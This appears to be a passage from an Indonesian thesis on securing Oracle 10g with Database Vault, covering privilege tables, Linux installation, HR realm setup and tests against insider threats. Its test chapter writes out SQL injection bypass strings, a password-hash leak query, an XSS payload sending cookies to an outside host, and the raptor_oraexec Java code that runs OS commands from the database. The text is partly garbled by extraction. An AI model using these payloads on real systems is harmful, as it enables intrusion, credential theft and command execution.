Buffer Overflow
Bagian dari function call injection, kerentanan muncul pada fungsifungsi beberapa database yang menyebabkan buffer overflow, yang
dapat dieksploitasi melalui serangan sql injection pada un-patched
database. Serangan buffer overflow menggunakan TZ_OFFSET,
TO_TIMESTAMP,
TZ_BFILENAME,
FROM_TZ,
NUMTOYMINTERVAL atau NUMTODSINTERVAL dieksekusi
menggunakan metode function injection yang dapat digunakan
untuk akses remote pada sistem operasi. Sebagai tambahan
beberapa aplikasi dan web server tidak mengantisipasi kehilangan
koneksi database karena buffer overflow, umumnya web server
hanya mengalami hang hingga koneksi ke klien mati. Hal inilah
yang berpotensi terjadi serangan denial of service.
63
Menurut Esteban Martinez Fayo (Februari, 2005) untuk meretas oracle
database server dibagi menjadi:
a.
Bila tidak terkoneksi langsung dengan database
Melalui Sql Injection :
Menyisipkan sql command
Eksploitasi buffer overflows
Bila
tidak
ada
output,
dapat
langsung
menggunakan
UTL_HTTP standard package.
b.
Bila terkoneksi langsung dengan database (sebagai database user)
Sql injection built in atau user-defined procedure
Buffer overflows built in atau user-defined procedure
Output dapat ditampilkan pada layar si penyerang
BAB III
ANALISA KEBUTUHAN DAN KONFIGURASI DATABASE VAULT
3.1
Analisa Kebutuhan
Banyaknya pemberitaan tentang pencurian data yang antara lain:
-
Empat puluh milyar kartu kredit di hacked, pelanggaran pada prosesor
pihak ketiga berakibat pada 22 juta kartu visa dan 14 juta kartu master
(CNN Money)
-
Pabrik sepatu DSW berkata bahwa pencurian data berhubungan
dengan 1.4 juta kartu kredit (The Wall Street Journal)
-
Data warga negara Amerika sebanyak 145,000 telah dicuri (Mark
Schwannhausser , Mercury News)
-
Lexis Nexis mengungkapkan bahwa 310,000 warga negara Amerika,
lebih dari 10 kali mengalami pelanggaran hak, data personal mereka
diakses oleh pihak-pihak yang tidak berhak (The Wall Street Journal)
-
Telah terjadi pelanggaran pada call centre HSBC oleh pihak dalam,
membuat data privacy dan bahaya dari keterlibatan pihak dalam
menjadi sorotan. Hal ini tidak akan menjadi yang terakhir kali
(Security News)
Berbekal dari semua kejadian diatas, sistem keamanan pada database
merupakan hal yang sangat serius, kebutuhan yang ditetapkan oleh user adalah
adanya sistem database yang memiliki karakteristik keamanan yang tinggi
64
65
dimana suatu database dapat terjaga dan terpantau dengan baik. Sistem keamanan
tersebut harus memiliki kemampuan untuk melakukan:
A.
Mendeteksi semua aktivitas pada database.
B.
Memproteksi database dari user yang tidak berhak.
C.
Memberikan laporan sehingga database dapat terpantau atau mudah untuk
diaudit.
Berikut ini adalah fitur security database yang dimiliki Oracle 10g release 2
Tabel 3.1 Fitur Security database Oracle 10g release 2
Fiturfitur
Deskripsi
Super User
Privileges
Column Level
VPD
Kebijaksanaan
column
level
VPD
menyediakan pengaturan yang lebih ketat
untuk akses data. Kebijaksanaan ini terlaksana
bila kolom tertentu atau semua kolom berusaha
untuk diakses di user query artinya bila ada
user yang mencoba memasuki data yang berisi
informasi sensitif maka VPD dapat dapat
membatasi hasil yang diberikan row
Database
Administrator
Column Masking
Column masking membuat hasil yang
diberikan pada kolom yang berisi sensitif data
seperti "null"
Database
Administrator
Static, Context
Sensitive dan
Shared VPD
Policy
Static policy mengatur kebijaksanaan pada
query, updates, insert dan delete melalui
session dan sangat berguna untuk hosting
dimana kita membutuhkan predicate. Contextsensitive policies, predicate dapat berubah
setelah statement parse time tapi VPD dapat
mengeksekusi ulang jika konteks aplikasi
berubah dan sangat berguna pada saat VPD
policies harus membuat lebih dari satu
predicate yang berbeda untuk user atau grup
yang berbeda
Database
Administrator
Virtual
Private
Database
Virtual
Private
Database
Kegunaan
66
Tabel 3.1 Fitur Security database Oracle 10g release 2 (Lanjutan)
Fiturfitur
Deskripsi
Virtual
Private
Database
Auditing
PL/SQL
Encryption
Package
Kegunaan
Super User
Privileges
Improved finegrained auditing
Dapat memperkecil kesalahan dalam audit atau
audit yang yang sulit dengan menspesifikasi
kondisi audit yang diinginkan. Tidak perlu
mereset audit_trail menjadi fine-grained
auditing hanya dengan menambah atau
mengurangi FGA policies yang telah diset
sebelumnya. Built_in mekanisme audit pada
database mencegah user menjebol audit
Database
Administrator
XML audit
records
Audit records dapat ditulis pada sistem operasi
dengan xml file, dengan query view semua file
dengan ekstensi .xml akan diparse dan keluar
dalam bentuk tabel relasional
Database
Administrator
Syslog Audit
Record
Penulisan audit record dengan syslog audit
trail, dapat memperkecil akses DBA dalam
mengakses atau merubah data audit
Database
Administrator
Uniform Audit
Trail
Penambahan view
DBA_COMMON_AUDIT_TRAIL yang
membuat standard dan fine-grained audit log
dalam satu view
Database
Administrator
DBMS_CRYPTO dibuat untuk menggantikan
DBMS_OBFUSCATION_TOOLKIT
yang
akan memberi kemudahan dalam penggunaan
dan mendukung algoritma-algoritma pada
sistem baru.
DBMS_CRYPTO
Contoh : Algoritma Enkripsi (AES, Triple
DES, DES RC4), Algoritma Kriptographi
(SHA-1), Keyed Hash (MAC), Form Padding
(PKCS#5, zeroes), Blok cipher modifikator
(CBC, CFB, ECB, OFB)
Database
Administrator
Seperti terlihat pada tabel diatas untuk keamanan database pada oracle
10g telah memadai dengan banyaknya fitur-fitur baru untuk menjawab semua
pernyataan diatas, namun terdapat kerentanan karena super user privileges tetap
dimiliki oleh DBA, celah ini perlu diwaspadai.
Sesuai dengan pernyataan dari ISACA (Information Systems Audit and
Control Association) yaitu pemisahan hak dan kewenangan adalah merupakan alat
67
pengendali dasar untuk mencegah dan mendeteksi error dan kesalahan dengan
menugaskan atau memberikan tanggung jawab untuk melakukan transaksi,
merekam transaksi dan kewajiban menjaga aset ke pihak yang berbeda-beda, agar
tidak ada satu orang yang melakukan ketidakjujuran atau perusakan tanpa bisa
dideteksi.
Oracle memiliki database vault
yang memisahkan secara jelas
kewenangan account management, kewenangan data security dan kewenangan
data resource management. Dengan kata lain membatasi hak DBA dari super
privilege user yang memiliki semua akses ke data menjadi beberapa database role
agar tidak ada yang memiliki kekuasaan penuh atas data dan konfigurasi system
Berikut adalah gambaran secara umum ruang lingkup dan kewenangan
yang dimiliki oleh database user. Terlihat bahwa database administrator memiliki
kewenangan paling besar dan luas atas semua data pada database.
Gambar 3.1 Data dictionary views sebelum instalasi database vault
[Referensi:Oracle 10g Database Vault White Paper, 2006]
68
Tabel 3.2 Privilege SYSDBA dan SYSOPER
System Privillege
SYSDBA
SYSOPER
Operations Authorized
- Perform STARTUP and SHUTDOWN operations
- ALTER DATABASE open, mount, back up or change
character set
- CREATE DATABASE
- DROP DATABASE
- CREATE SPFILE
- ALTER DATABASE ARCHIVELOG
- ALTER DATABASE RECOVER
- Includes the RESTRICTED SESSION privilege
Effectively this system privilege allows a user to connect as
user SYS
- Perform STARTUP and SHUTDOWN operations
- CREATE SPFILE
- ALTER DATABASE OPEN/MOUNT /BACKUP
- ALTER DATABASE ARCHIVELOG
- ALTER DATABASE RECOVER (Complete recovery
only. Any form of incomplete recovery such as UNTIL
TIME|CHANGE|CANCEL| CONTROLFILE requires
connecting as SYSDBA)
- Includes the RESTRICTED SESSION privilege
This privilege allows a user to perform basic operational
tasks, but without the ability to look at user data
Tabel 3.3 Privilege yang berubah setelah instalasi database vault
User or Role
DBA role
IMP_FULL_DATABASE role
EXECUTE_CATALOG_ROLE role
PUBLIC user
Privilege That Is Revoked
- Become USER
- SELECT ANY TRANSACTION
- CREATE ANY JOB
- EXECUTE ANY PROGRAM
- EXECUTE ANY CLASS
- MANAGE SCHEDULER
- DEQUEUE ANY QUEUE
- ENQUEUE ANY QUEUE
- MANAGE ANY QUEUE
- BECOME USER
- MANAGE ANY QUEUE
- EXECUTE ON DBMS_LOGMNR
- EXECUTE ON DBMS_LOGMNR_D
- EXECUTE ON
DBMS_LOGMNR_LOGREP_DICT
- EXECUTE ON
DBMS_LOGMNR_SESSION
- EXECUTE ON DBMS_FILE_TRANSFER
- EXECUTE ON UTL_FILE
69
Tabel 3.3 Privilege yang berubah setelah instalasi database vault (lanjutan)
User or Role
SCHEDULER_ADMIN role
SYS user
SYSTEM user
Privilege That Is Revoked
- CREATE ANY JOB
- CRATE EXTERNAL JOB
- EXECUTE ANY PROGRAM
- EXECUTE ANY CLASS
- MANAGE SCHEDULER
- ALTER USER
- DROP USER
- ALTER USER
- CREATE USER
- DROP USER
Tabel 3.4 Privilege database vault account manager role
User or Role
SYS user
Privilege That Is Revoked
- ALTER PROFILE
- CREATE PROFILE
- DROP PROFILE
- ALTER PROFILE
- CREATE PROFILE
- DROP PROFILE
SYSTEM user
Pengamanan database dengan Database Vault
-
Untuk mengamankan akses ke database, aplikasi dan informasi yang
sensitive dengan menggabungkan realms, factors and command rules.
Realms akan memproteksi data dari akses melalui system
privileges dan tidak memberikan privileges tambahan untuk owner
atau participants. Autorisasi realms memiliki mekanisme run-time
untuk memeriksa secara logical apakah user’s command diijinkan
untuk mengakses objek yang tertera pada command dan
meneruskan eksekusi.
Jika ada user yang menjalankan statement yang mempengaruhi
command rules maka database vault akan memeriksa autorisasi
realms terlebih dulu, bila tidak ditemukan pelanggaran realms dan
semua command rules yang berhubungan enabled, maka database
70
vault akan mengevaluasi rule sets yang berhubungan. Jika semua
nilai semua rule sets adalah true maka statement diijinkan untuk
proses selanjutnya.
-
Untuk mengatur kondisi dari command yang boleh diekseskusi di database
dengan menggabungkan rules dan factor dan pengaturan akses data akan
diatur oleh realms.
Berikut adalah gambar dari alur kerja penggabungan command rule
dan realm yang membatasi privilege yang dimiliki oleh user. Terlihat jika
seorang user memiliki privilege GRANT untuk any privilege maka akan
dicek terlebih dahulu apakah user tersebut diberikan akses yang
sebelumnya telah di buat terlebih dahulu pada realm sehingga dapat
mengakses data tertentu. Jika ada, maka selanjutnya akan dicek pada
command rule dan jika semua nilai rule set benar maka user diijinkan
melanjutkan proses.
Gambar 3.2 Alur realm dan command rules membatasi privileges user
[Referensi:Oracle 10g Database Vault White Paper]
71
3.2
Perancangan Arsitektur Sistem Keamanan dengan Database Vault
Pada penulisan ini akan dibuat perancangan sistem yang menggunakan
satu buah server yang telah terinstalasi dengan database oracle 10g dan database
vault.
Berikut gambaran perancangan sistem keamanan dengan konfigurasi satu
buah server yang telah terinstalasi dengan oracle 10g dan ditambah dengan
database vault. Setelah itu pembuatan HR realm untuk memproteksi data-data HR
yang sensitive. Bagi user yang tidak memiliki hak atau akses maka akan langsung
diberikan pemberitahuan. Server ini akan diakses oleh dua user. User pertama
adalah seorang DBA dan user kedua adalah HR manager. Pada gambar, user
DBA terhalang untuk mengakses data-data HR karena telah ada realm.
Pembuktian hal ini akan ada pada bab selanjutnya.
Server yang telah
diinstalasi dengan Oracle
10g R2 + Database Vault
X
User HR
Gambar 3.3 Arsitektur sistem keamanan dengan HR realm
A.
Spesifikasi Hardware
Memory
: 1 GB untuk instance dengan database control
Ruang Disk
: 1.5 GB untuk swap
72
400 MB untuk direktori /tmp
1.5 GB hingga 3.5 GB untuk software oracle
1.2 GB untuk pre-konfigurasi database
2.4 GB untuk flash recovery area
B.
Spesifikasi Software
Oracle Database 10g Release 2
Edisi
: Enterprise Edition
Base Release
: 10.2.0.1
Patch Installed : 10.2.0.4
3.3
Platform
: Linux Red Hat
Feature
: Oracle Database Vault
Instalasi Oracle 10g Release 2
Langkah-langkah :
1.
Instalasi dan konfigurasi linux
Sistem Operasi yang digunakan adalah Red Hat Enterprise 4. Pada
tahap ini dilakukan instalasi paket-paket yang diperlukan untuk
instalasi oracle.
glibc-2.3.4-2.13
glibc-common-2.3.4-2.13
gcc-3.4.4-2
gcc-c++-3.4.4-2
libstdc++-3.4.4-2
libstdc++-devel-3.4.4-2
libaio-0.3.103-3
binutils-2.15.92.0.2-15
73
make-3.80-5
compat-db-4.1.25-9
gnome-libs-1.4.1.2.90-44.1
pdksh-5.2.14-30.3
sysstat-5.0.5-1
2.
Pemeriksaan memory dan swap
# grep MemTotal /proc/meminfo
# grep SwapTotal /proc/meminfo
Jika swap kurang dari 1 ghz
# dd if=/def/zero of=tmpswap bs=1k count=700000
# chmod 600 tmpswap
# mkswap tmpswap
# swapon tmpswap
Pemeriksaan kapasitas direktori /tmp
# df /tmp
3.
Konfigurasi linux untuk oracle
Pada tahap ini dilakukan konfigurasi parameter kernel, melakukan
setting shell limits, membuat user, group dan directory untuk oracle,
profile untuk user oracle.
a. Setting sistem parameter kernel
Edit /etc/sysctl.conf dan tambahkan:
kernel.shmall
= 2097152
kernel.shmmax
= 2147483648
kernel.shmmni
= 4096
kernel.sem
= 250 32000 100
fs.file-max
= 65536
net.ipv4.ip_local_port_range
= 1024 65000
net.core.rmem_default
= 262144
net.core.rmem_max
= 262144
net.core.wmem_default
= 262144
128
74
net.core.wmem_max
= 262144
Jalankan command sysctl
–p untuk
mengaktifkan setting diatas
b. Setting shell limits
Edit /etc/security/limits.conf dan tambahkan:
oracle
soft
nproc
2047
oracle
hard
nproc
16384
oracle
soft
nofile
1024
oracle
hard
nofile
65536
Edit /etc/pam.d/login
session
required
/lib/security/pam_limits.so
session
required
pam_limits.so
c. Membuat user, group dan directory untuk instalasi oracle
# mkdir -p /u01/app/oracle
# groupadd dba {memiliki hak akses SYSDBA}
# groupadd oinstall {pemilik software}
# useradd -c “Oracle Software Owner” -g oinstall -G dba
oracle -d /u01/app/oracle
Owner dan hak akses direktori
# chown -R oracle:oinstall /u01/app/oracle
# chmod -R 775 /u01/app/oracleProfile untuk oracle
d. Login sebagai oracle user dan edit .bash_profile file
# Oracle Settings
TMP=/tmp; export TMP
TMPDIR=$TMP; export TMPDIR
ORACLE_BASE=/u01/app/oracle; export ORACLE_BASE
ORACLE_HOME=$ORACLE_BASE/product/10.2.0/db_1; export
ORACLE_HOME
ORACLE_SID=orcl; export ORACLE_SID
ORACLE_TERM=xterm; export ORACLE_TERM
PATH=/usr/sbin:$PATH; export PATH
PATH=$ORACLE_HOME/bin:$PATH; export PATH
75
LD_LIBRARY_PATH=$ORACLE_HOME/lib:/lib:/usr/lib; export
LD_LIBRARY_PATH
CLASSPATH=$ORACLE_HOME/JRE:$ORACLE_HOME/jlib:$ORACLE_HOME/
rdbms/jlib; export CLASSPATH
if [ $USER = "oracle" ]; then
if [ $SHELL = "/bin/ksh" ]; then
ulimit -p 16384
ulimit -n 65536
else
ulimit -u 16384 -n 65536
fi
fi
Setelah disimpan berikan perintah # source /etc/profile
4.
Memulai OUI (Oracle Universal Installer) untuk memulai instalasi
oracle 10g. Langkah-langkah instalasi dengan OUI secara lengkap
dapat dilihat pada lampiran.
3.4
Upgrade Oracle 10g Release 2 (10.2.0.1.0) menjadi (10.2.0.4.0)
Database vault dapat berjalan minimal pada platform oracle 10g
release 2 (10.2.0.4.0) sehingga diperlukan upgrade oracle 10g dari yang
telah diinstalasi 10.2.0.1.0 menjadi 10.2.0.4.0. Patch ini dapat di download
pada http://metalink.oracle.com. Untuk instalasi patch ini dilakukan pada
oracle home yang sama yaitu /u01/app/oracle/product/10.2.0/db_1.
Langkah-langkah yang dilakukan pada saat instalasi sama dengan pada
saat instalasi oracle 10g release 2 10.2.0.1.0 tanpa harus membuat
directory atau oracle home baru.
76
3.5
Konfigurasi Listener
Setelah instalasi oracle 10g dan patch telah dilakukan, maka
selanjutnya mengkonfigurasi listener. Sesuai dengan arti nama dalam
bahasa Indonesia, listener berfungsi untuk mendengar dalam hal ini
koneksi user ke database.
Listener melakukan query fungsi membuat proses server untuk tiap
user atau untuk multi thread fungsi bagi banyak user. Instalasi secara
lengkap dapat dilihat pada lampiran.
3.6
Membuat Database dengan Database Configuration Assistant (DBCA)
Pembuatan database setelah patch instalasi oracle 10g menjadi
10.2.0.4.0 akan jauh lebih mudah dibanding database dibuat bersaaman
instalasi oracle 10g 10.2.0.1.0 karena selain harus mengupgrade oracle
juga harus mengupgrade database. Login sebagai user oracle dan ketik
dbca, wizard pembuatan database akan muncul dan ikuti semua langkah
instalasinya.
Yang perlu diperhatikan adalah berhati-hati pada saat mengisi
global database name karena akan terkoneksi dengan SID (spesifikasi
nama instan dari oracle server dan harus unik), disarankan nama SID
maksimum 4 (empat) karakter. Langkah-langkah instalasi secara lengkap
dapat dilihat pada lampiran.
77
3.7
Konfigurasi Database Vault
3.7.1 Instalasi Database Vault
Login sebagai user oracle
1.
Sebelum memulai instalasi database vault, stop semua servis
oracle
-
Stop Enterprise Manager Database Control
$ emctl stop dbconsole
-
Stop the iSQL*Plus Proses
$ isqlplusctl stop
-
Matikan semua database instance
sqlplus „/as sysdba‟
sql>shutdown immediate
-
Stop listener
$ lsnrctl stop
2.
Instal database vault pada oracle home yang kita pilih lalu
ikuti langkah-langkah instalasi yang diberikan. Lebih lengkap
tentang instalasi database vault dapat dilihat pada lampiran.
3.7.2 Membuat Realm
1.
Buka web browser dan ketik url yang telah diberikan
sebelumnya untuk koneksi ke database vault
https://maroeti:1158/dva
Berikut adalah tampilan database vault berbasis web:
78
Gambar 3.4 Tampilan database vault
Contoh :
Login sebagai database vault owner
Klik pada realms lalu create realm
Name
: HR Realm
Description
: This realm restricts DBA
access to HR data.
Status
: Enabled
Audit Options
: Audit on Failure
Lalu klik : Ok
a.
Pada layar realm summary
Klik create realm secured objects
Object Owner: HR
Object Type: %
Object Name: %
b.
Klik create realm authorization section
Grantee: HR [USER]
Authorization Type: Owner (Note: the default type
is Participant)
Authorization Rule Set: <non selected>
Klik Ok
79
2.
API
begin
dvsys.dbms_macadm.CREATE_REALM(
realm_name => 'HR Realm'
,description => 'This realm
protects HR data from DBA access'
,enabled => 'Y'
,audit_options => 1);
end;
/
commit;
begin
dvsys.dbms_macadm.add_object_to_realm(
realm_name => 'HR Realm'
,object_owner => 'HR'
,object_name => '%'
,object_type => '%');
end;
/
commit;
begin
dvsys.dbms_macadm.ADD_AUTH_TO_REALM(
realm_name => 'HR Realm'
,grantee => 'HR');
end;
/
commit;
80
3.8
Ancaman-ancaman dari dalam (insider threat)
Seperti yang telah dijelaskan diatas, bahwa ancaman terbesar untuk
keamanan data suatu perusahaan/organisasi justru dari pihak dalam karena
sering tidak terdeteksi atau luput dari perhatian
Berikut beberapa kemungkinan yang dapat menggangu keamanan
database:
1.
Database administrator
Dengan super privilege yang dimiliki DBA dapat mengancam
integritas keamanan dari data-data yang dimiliki.
2.
Usaha merubah sementara password account yang berwenang
untuk memberikan privellege (GRANT) pada user tertentu.
3.
SQL Injection dan freeware yang banyak terdapat di internet untuk
mengeksploitasi database.
3.9
Skenario-skenario yang mungkin terjadi
Untuk lebih mengetahui tentang kemampuan dari oracle 10g
release 2 dan database vault yang telah dijelaskan sebelumnya maka akan
dilakukan beberapa analisa mengenai kemungkinan dari ilegal akses atau
perusakan dan eksploitasi dari pihak dalam.
Berikut adalah beberapa skenario yang mungkin terjadi
1.
Seorang DBA yang iseng ingin mencoba mengganti angka dari gaji
dengan mengakses tabel gaji pada server HR.
81
2.
Seorang user mencoba melakukan akses ilegal pada database
dengan melakukan injeksi perintah sql karena pengaturan oracle
10g dan database vault berbasis web. Akses ilegal dilakukan
melalui koneksi dalam satu jaringan.
3.
Seorang user mencoba menggunakan program eksploitasi yang
banyak di internet untuk merusak database. Penggunaan freeware
agar tidak bisa dilacak siapa yang telah melakukan akses ilegal.
4.
Proses audit secara berkala yang dilakukan database owner untuk
pelaporan.
BAB IV
IMPLEMENTASI DAN PENGUJIAN
Berdasarkan skenario-skenario yang telah dibuat pada bab sebelumnya,
maka akan dilakukan pengujian untuk membuktikan keamanan yang dimiliki
oracle 10g dan database vault.
4.1
Proteksi dari Database Administrator
Seperti yang telah dijelaskan pada bab 3 bahwa salah satu keunggulan dari
database vault adalah membatasi privellege dari database administrator (DBA)
dan kemungkinan sebagai insider threat maka berikut hasil pengujiannnya:
1.
Sebelum instalasi database vault, seorang DBA dapat mengakses data HR
[oracle@maroeti ~]$ sqlplus '/as sysdba'
SQL*Plus: Release 10.2.0.4.0 - Production on Sat Jun 13 07:06:53
2009
Copyright (c) 1982, 2007, Oracle.
All Rights Reserved.
Connected to an idle instance.
SQL> startup
ORACLE instance started.
Total System Global Area
Fixed Size
285212672 bytes
1267068 bytes
Variable Size
113248900 bytes
Database Buffers
167772160 bytes
Redo Buffers
2924544 bytes
Database mounted.
Database opened.
82
83
SQL> select first_name, last_name, salary from hr.employees
2
;
FIRST_NAME
-------------------Donald
Douglas
Jennifer
Michael
Pat
Susan
Hermann
Shelley
William
Steven
Neena
LAST_NAME
SALARY
------------------------- ---------OConnell
2600
Grant
2600
Whalen
4400
Hartstein
13000
Fay
6000
Mavris
6500
Baer
10000
Higgins
12000
Gietz
8300
King
24000
Kochhar
17000
Seperti terlihat diatas seorang DBA dapat mengakses data gaji pada tabel
HR dan dengan mudahnya DBA dapat menggunakan perintah ALTER dan
mengganti angka-angka gaji tersebut dan bahkan merusak data-data
penting yang lain.
2.
Lalu diadakan percobaan dengan instalasi database vault dan pembuatan
HR realm pada database. DBA mengulangi perintah sql seperti pada
percobaan sebelumnya dan hasilnya adalah pemberitahuan “insufficient
privileges”
dan DBA tidak bisa mengakses tabel HR
SQL> select first_name, last_name, salary from hr.employees
2
;
ERROR at line : 1
ORA-01031 : insufficient privileges
Dengan ini terbukti dengan database vault seorang database administrator
yang sebelumnya memiliki super privilege kini telah berubah privellege menjadi
user biasa dan tidak bisa mengakses data-data pada tabel yang dilindungi realm.
84
4.2
Alter password database vault account manager
Bila database administrator tidak memiliki super privileges lagi setelah
instalasi database vault, bagaimana jika merubah password database vault
account manager sementara untuk memberi privilege pada user tertentu agar
dapat mengakses database yang telah diproteksi dengan realm.
1.
Buka web browser dan ketik url yang telah diberikan sebelumnya untuk
koneksi ke isqlplus atau juga dapat melalui sqlplus yang berbasis text.
https://maroeti:5560/isqlplus
2.
Show oracle password hash key, dengan mengetik SQL statements
SELECT username, password FROM DBA_USERS;
atau
SELECT name,password
FROM
SYS.USER$ WHERE password is not
null;
Gambar 4.1 Isqlplus menunjukkan username dan password
Seperti terlihat diatas seorang database administrator dan login
sebagai system tetap bisa melihat semua password user
85
Rubah password database vault account manager untuk sementara
dan memberikan GRANT untuk user tertentu
select username,password from dba_users where username='DVM';
alter user DVM identified by mypassword;
Dan hasilnya akan muncul pemberitahuan:
“insufficient privileges”
Yang menerangkan bahwa user yang bersangkutan tidak memiliki
privilege yang diminta untuk ALTER password user tertentu
Berikut ini adalah gambar dari perintah SQL untuk ALTER:
Gambar 4.2 Layar isqlplus menunjukkan tidak ada privilege
Teruji dengan adanya database vault seorang database administrator tidak
bisa merubah password database vault account manager walaupun dapat melihat
semua password database user yang terenkripsi. Namun hal ini juga bisa menjadi
kendala berikutnya karena baik melalui isqlplus dan sqlplus „/as sysdba‟ user
dapat mencari dekripsi dari password enkripsi yang terlihat.
Dengan mengetahui format password yang digunakan oleh oracle 10g
maka akan lebih mudah lagi untuk mencari tool program dekripsi password yang
86
banyak tersebar di internet. Namun karena keterbatasan waktu maka penulis tidak
melakukan percobaan untuk mendekripsi password-password database user
tersebut.
Berdasarkan percobaan 4.1 dan 4.2 dapat diambil kesimpulan bahwa
dengan ditambahkannya fitur database vault pada database oracle 10g dapat
membatasi privilege DBA dan pembagian role sesuai dengan fungsi dari user.
Sehingga keamanan data lebih dapat terjamin dan sesuai dengan peraturan
Sarbanes-Oxley tentag integritas data. Akan tetapi database vault masih memiliki
kelemahan dengan diketahuinya enkripsi password-password sehingga hal ini
perlu jadi perhatian lebih lanjut bagi pihak oracle.
4.3
SQL Injection
Sql injection adalah penyisipan pada statemen sql yang umumnya
digunakan para hacker untuk meretas web aplikasi. Pada web aplikasi seperti
mail.yahoo.com terdapat layar untuk memasukkan nama dan password. Pada saat
kita memasukkan nama dan password dibagian url akan terlihat username=‟ „ dan
password=‟ „, dibelakang dari isi username ditambahkan “or 1= 1--“ begitu juga
pada password. Umumnya sql injection yang umum diketahui adalah code
injection. Penulis akan mencoba meretas langsung ke server database oracle
dengan sql injection, namun tidak melalui web aplikasi dan penggunaan oracle
sebagai back end database yang terlindungi oleh firewall dan aplikasi-aplikasi
intrusion detection system dikarenakan keterbatasan waktu dan keluar dari topik
permasalahan.
87
a.
Code Injection
Melakukan test autentifikasi apakah halaman web rentan atau tidak.
Dengan memasukkan statemen pada box user name dan password atau
pada halaman url itu sendiri.
SELECT id FROM users WHERE name='\' OR 1=1 ' AND pass='\' OR
1=1 LIMIT 1';
Mencoba semua kemungkinan yang ada:
' or 1=1-" or 1=1-or 1=1-' or 'a'='a
" or "a"="a
') or ('a'='a
„ or 1=func -„ AND 1=func –
Untuk membuka halaman web pengatur database oracle maka pada kita
tuliskan alamat url https://maroeti:1158/em pada web browser.
Pada kolom login, kita masukkan nama sembarang ditambah dengan kodekode injeksi diatas, begitu juga dengan kolom password. Kita masukkan
password sembarang ditambah dengan kode-kode injeksi diatas. Maka
hasilnya adalah seperti gambar dibawah.
88
Gambar 4.3 Hasil dengan code injection pada oracle
Terlihat dari hasil gambar diatas bahwa muncul error dan
pemberitahuan bahwa yang dapat login adalah sysdba atau sysoper.
Jadi terbukti bahwa code injection tidak dapat digunakan untuk
masuk ke server database oracle.
Selain itu penulis juga mencoba menggabungkan sql command untuk
mengetahui nama host dengan command untuk menampilkan
password dari dba_users
SQL> select utl_inaddr.get_host_name((select username||'='||
password from dba_users where rownum=1)) from dual;
Error at line 1:
ORA-29257: host SYS=D4DF7931AB130E37 unknown
ORA-06512: at "SYS.UTL_INADDR", line 4
ORA-06512: at "SYS.UTL_INADDR", line 35
ORA-06512: at line 1
89
Dan hasilnya adalah dengan terlihatnya user name SYS dengan
password yang terenkripsi. Seperti pada percobaan sebelumnya,
yang dibutuhkan adalah tool untuk mendekripsi password tersebut.
Disimpulkan bahwa code injection tidak dapat digunakan untuk
akses ke server database oracle secara langsung, mungkin beda
hasilnya jika injeksi pada web aplikasi dan oracle sebagai back end
database.
b.
Cross Site Scripting (XSS)
Merupakan salah satu jenis serangan web dengan memanfaatkan
metode http get/http post. Cross site scripting dapat diartikan sebagai
kelemahan yang terjadi akibat ketidakmampuan server dalam
memvalidasi input yang diberikan oleh pengguna dan serangan
dilakukan dengan cara memasukkan naskah program (biasanya java
script) sebagai bagian dari teks masukan melalui form yang tersedia.
Contoh java script yang sering digunakan:
ASCII Usage:
http://host/a.php?variable="><script>document.location='http://ww
w.cgisecurity.com/cgi-bin/cookie.cgi?
'%20+document.cookie</script>
Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74
%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%
Pada saat kita memasukkan url: https://maroeti:5560/isqlplus maka
90
akan tampil jendela login seperti dibawah ini dan hanya dba_users
yang dapat mengakesnya jadi jika tidak berwenang akan muncul
error.
Gambar 4.4 Logon form pada isqlplus
Penulis mencoba meretas isqlplus dengan mengetik skrip berikut ini
pada halaman login.
https://maroeti/isqlplus?action=logon&username=dummy%22%3e%
3cscript%3ealert('CSS')%3c/script%3e\&password=dsfsd%3cscript
%3ealert('CSS')%3c/script%3e
Dan hasilnya adalah pemberitahuan tentang kegagalan koneksi
dengan server database oracle.
91
Gambar 4.4 Hasil injeksi xss pada isqlplus
Terbukti dari hasil gambar diatas, cross site scripting tidak berhasil
untuk meretas isqlplus oracle 10g.
c.
Java exploitation
Cara lain untuk dapat mengakses file sistem di oracle selain tanpa
menggunakan
privilege
CONNECT
dan RESOURCES
role
(membutuhkan privilege khusus) yaitu dengan eksploitasi java pada
utl_file package oracle. Dengan cara lain ini kita dapat menulis dan
membaca file-file OS dengan privilege RDBMS user. Penulis
mencoba mengeksploitasi utl_file oracle dengan menggunakan
command sql raptor_oraexec.sql.
Oracle RDBMS dapat dianggap sebagai shell seperti bash atau
windows command prompt, tidak hanya untuk menyimpan data tapi
juga untuk melengkapi akses sistem file dan perintah sistem operasi.
SQL>
create or replace and resolve java source named "oraexec" as
import java.lang.*;
92
import java.io.*;
public class oraexec
{
Command execution module
public
static
void
execCommand(String
command)
throws
filename)
throws
IOException
{
Runtime.getRuntime().exec(command);
}
File reading module
public
static
void
readFile(String
IOException
{
FileReader f = new FileReader(filename);
BufferedReader fr = new BufferedReader(f);
String text = fr.readLine();
while (text != null) {
System.out.println(text);
text = fr.readLine();
}
fr.close();
}
File writing module
public static void writeFile(String filename, String line)
throws IOException
{
FileWriter
f
=
new
FileWriter(filename,
append */
BufferedWriter fw = new BufferedWriter(f);
fw.write(line);
fw.write("\n");
true);
/*
93
fw.close();
}
}
/
SQL> Java created.
usage: exec javacmd('command');
SQL>
create or replace procedure javacmd(p_command varchar2) as
language java
name 'oraexec.execCommand(java.lang.String)';
/
SQL>
Procedure created.
usage: exec dbms_java.set_output(2000);
set serveroutput on;
exec javareadfile('/path/to/file');
SQL> create or replace procedure javareadfile(p_filename in
varchar2) as
language java
name 'oraexec.readFile(java.lang.String)';
/
Procedure created.
usage: exec javawritefile('/path/to/file', 'line to append');
SQL> create or replace procedure javawritefile(p_filename in
varchar2, p_line in varchar2) as
language java
name 'oraexec.writeFile(java.lang.String, java.lang.String)';
/
Procedure created.
94
Lalu di lakukan test
SQL>
exec
javawritefile('/tmp/mytest',
'/bin/ls
-l
>
/tmp/aaa');
PL/SQL procedure successfully completed.
SQL>
exec
javawritefile('/tmp/mytest',
'/bin/ls
-l
/
>
/tmp/bbb');
PL/SQL procedure successfully completed.
SQL> exec dbms_java.set_output(2000);
PL/SQL procedure successfully completed.
SQL> set serveroutput on;
SQL> exec javareadfile('/tmp/mytest');
/bin/ls -l > /tmp/aaa
/bin/ls -l / > /tmp/bbb
PL/SQL procedure successfully completed.
SQL> exec javacmd('/bin/sh /tmp/mytest');
PL/SQL procedure successfully completed.
SQL> !sh
sh-3.2$ ls
-rw-r--r--rw-r--r--rw-r--r--
-rtl /tmp/
